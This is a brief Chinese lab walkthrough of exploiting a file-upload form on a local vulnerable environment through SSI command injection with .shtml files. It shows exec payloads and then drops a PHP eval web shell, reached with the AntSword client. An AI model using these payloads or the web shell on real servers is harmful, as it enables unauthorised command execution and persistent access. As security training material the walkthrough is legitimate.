在测试任意文件上传时,如果目标服务器对.php文件进行了过滤,但是开启了ssi和cgi的支持,则可上传一个.shtml文件,利用<!--#exec cmd="id" -->语法执行任意命令。
其中id可以任意改变。
进入漏洞环境->拉取环境->访问localhost:8080/upload.php
上传写好的.shtml文件内容为:
<!--#exec cmd="whoami" -->
<!--#exec cmd=”ls” -->
<!--#exec cmd=”id” -->
上传后访问shell.shtml文件
重新写入命令
<!--#exec cmd=”echo ‘<?php @eval($_POST[1]);?>’ > shell.php” -->
<!--#exec cmd=”ls” -->
上传后访问shell.shtml
使用蚁剑连接,尝试创建test.php文件成功。